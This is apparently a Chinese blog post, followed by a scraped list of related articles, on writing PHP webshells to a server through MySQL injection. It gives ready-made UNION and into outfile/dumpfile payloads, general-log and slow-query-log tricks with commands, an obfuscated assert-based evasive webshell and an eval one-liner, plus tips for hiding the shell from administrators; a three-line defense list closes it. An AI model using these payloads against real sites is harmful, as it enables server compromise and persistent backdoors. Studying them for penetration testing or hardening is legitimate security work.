MySQL注入点,用工具对目标站点写入一句话shell,需要哪些前提条件?

**root权限以及网站的绝对路径**

outfile 和 dumpfile 写Shell

利用条件

·数据库当前用户为root权限
·知道当前网站的绝对路径
·PHP的GPC为OFF状态;(魔术引号,GET、POST、COOKIE)
`写入的那个路径要有写入权限

过滤了单引号into outfile 还可以用吗

不能,GPC要OFF才行,可以测试Hex编码

基于UNION联合查询

?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用 fields terminated bylines terminated by 来写Shell

?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

"+" 号、%0a、%0b、%a0、//注释符等**

outfile 和 dumpfile 的区别

outfile

·支持多行数据同时导出
·使用union联合查询时,要保证两侧查询的列数相同
·会在换行符制表符后面追加反斜杠
·会在末尾追加换行

dumpfile

·每次只能导出一行数据
·不会在换行符制表符后面追加反斜杠
·不会在末尾追加换行

因此,我们可以使用 into dumpfile 函数来顺利写入二进制文件;into outfile 函数也是可以写入二进制文件的,只不过无法生效(追加的反斜杠会使二进制文件无法生效)

如果服务器端本身的查询语句,结果有多行,但是又想使用dumpfile,应该手动添加 limit 限制

突破 secure_file_priv 写Shell

MySQL的secure_file_priv 参数是用来限制 LOAD DATA 、SELECT ....OUTFILE、and LOAD_FILE()传到哪个指定的目录的。当secure_file_priv 的值没有具体值时,表示不对MySQL的导入|导出做出限制,如果是NULL,表示MySQL不允许导入导出。而且在MySQL 5.6.34版本以后 secure_file_priv 的值默认为NULL,并且无法用SQL语句对其进行修改。

基于日志写Shell

show variables like '%general%';   --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on;       --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php';      --设置日志路径
select '<?php phpinfo();?>';        --执行查询,写入shell
--结束后,恢复日志路径,关闭日志监测

SQL查询免杀shell

outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限

select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

慢查询写shell

为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

show variables like '%slow_query_log%';        --查看慢查询信息
set global slow_query_log=1;               --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';   --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11);             --写shell

慢查询

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

show global variables like ‘%long_query_time%’ --查看服务器默认时间值

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些像这种东西还是比较适合那些集成环境,比如,appserv,xampp...因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高

其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell

防御姿势

·设置 secure_file_prive = null (不允许导入和导出)
·防止暴露网站绝对路径
·正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

参考文章:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

MySQL写Shell方法总结相关推荐

  1. mysql进行getshell方法

    一. into outfile 利用条件 1. 此方法利用的先决条件 web目录具有写权限,能够使用单引号 知道网站绝对路径(根目录,或则是根目录往下的目录都行) secure_file_priv没有 ...

  2. Mysql 后台日志写shell(root权限)

    Mysql 写shell 一.后台日志写shell 前提: 需要有root权限 outfile被禁止 文件写入被拦截 1.查看配置 是否开启写日志 日志写入路径 show variables like ...

  3. Linux-编写SHELL 加密解密方法

    Linux-编写SHELL 加密解密方法 我们在编写SHELL脚本时,有时候需要填写密码到脚本里,比如mysql备份脚本,这时我们就需要一个脚本加密解密的方法了,我使用GO语音执行Linux命令加密解 ...

  4. linux mysql 写shell_Linux—编写shell脚本操作数据库执行sql

    修改数据库数据 在升级应用时,我们常常会遇到升级数据库的问题,这就涉及到sql脚本的编写. 一般我们会通过写sql脚本,然后将xxx.sql脚本放到数据库中进行source xxx.sql执行.本篇文 ...

  5. linux mysql general_利用mysql general log 写shell 可行性简要分析

    0×01 前言 实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目 ...

  6. linux shell操作mysql,Linux shell操作mysql数据库的方法

    摘要 腾兴网为您分享:Linux shell操作mysql数据库的方法,鱼乐贝贝,宜信,嘻嘻动漫,西餐菜谱等软件知识,以及包装效果图,德州人社,evasi0n.com,ios迅雷,民革e家,动态表情, ...

  7. mysql写下拉树_PHP+mysql实现从数据库获取下拉树功能的方法

    这篇文章主要介绍了PHP+mysql实现从数据库获取下拉树功能,结合实例形式分析了php+mysql数据库查询及select下拉框输出查询结果的实现技巧,需要的朋友可以参考下 本文实例讲述了PHP+m ...

  8. 怎么写shell脚本才能不耍流氓?

    1.不记录日志的 SHELL 脚本就是耍流氓! 我们经常在工作中会遇到一个苦恼的事情,一个 Shell 脚本到底干了什么,什么时候开始执行,什么时候结束的.尤其是数据库备份,我们想知道我们的 MySQ ...

  9. linux脚本怎怎么屏蔽段落,怎么写shell脚本才能不耍流氓?

    1.不记录日志的 SHELL 脚本就是耍流氓! 我们经常在工作中会遇到一个苦恼的事情,一个 Shell 脚本到底干了什么,什么时候开始执行,什么时候结束的.尤其是数据库备份,我们想知道我们的 MySQ ...

  10. mac php 连接mysql数据库_Mac环境下php操作mysql数据库的方法分享

    Mac环境下php操作mysql数据库的方法分享 今天在mac上搭建好了php的环境,我们就把php操作mysql数据库的方法分享给大家,有需要的小伙伴参考下. Mac本地环境搭建 在Mac系统,我们 ...

最新文章

  1. shell下的作业管理(转)
  2. java main生命周期_Java从入门到入土(62)线程的生命周期
  3. Python应用实战-sql操作groupby常用技巧
  4. VTK:图片之ImageFFT
  5. 华为云服务器自己维护吗,云服务器要维护吗
  6. re:Invent第三天:除了拥抱混合云,AWS还一口气发了这些新产品
  7. Android之TabLayout和ViewPager组合跳转到指定页面
  8. 编译安装mysql5.6.36_MySQL5.6.36编译安装
  9. mysql通过集合查询_MySQL使用集合函数进行查询操作实例详解
  10. cratedb导入json文件
  11. 项目入口_住宅小区入口就该这么设计,说得好仔细!
  12. poj2513Colored Sticks(无向图判欧拉路、回路+trie树)
  13. 线性系统理论2 系统状态和状态空间
  14. Lipschitz型函数
  15. 李子柒停更半年后,网红经济的“二元一次方程式”解开了吗?
  16. AWS云、阿里云、腾讯云、华为云--云服务器全球区域对比图
  17. AttributeError: 'NoneType' object has no attribute 'sc' 解决方法(二)
  18. Ubuntu卷boot仅剩0字节的硬盘空间解决方案
  19. Spring Aop(四)——基于Aspectj注解的Advice介绍
  20. 550什么意思_我给女孩子发520,她回550是什么意思?求各路大神指点?

热门文章

  1. matplotlib如何绘制网格线
  2. 0基础学软件测试工程师好学吗?
  3. 83岁清华奶奶,62岁 IT 大爷被阿里40万年薪争抢,你大妈始终是你大妈,你大爷永远是你大爷!...
  4. ZZNU 2125:A + B 普拉斯(傻逼题+大数加法)
  5. AI赋能下的出入口控制技术在公共安全建设中的深度应用
  6. 新能源汽车OTA升级中的UDS通信分析
  7. HY-SRF05超声波测距
  8. c语言贪吃蛇游戏视频,贪吃蛇游戏,贪吃蛇游戏视频
  9. 熵权法stata程序
  10. php mud游戏源码,mud手游源码,mud安卓端源码,谁与争锋mud源码:关于MUD纯文字游戏架设(回答得好加分100)(开源mud游戏框架)-南开游戏网...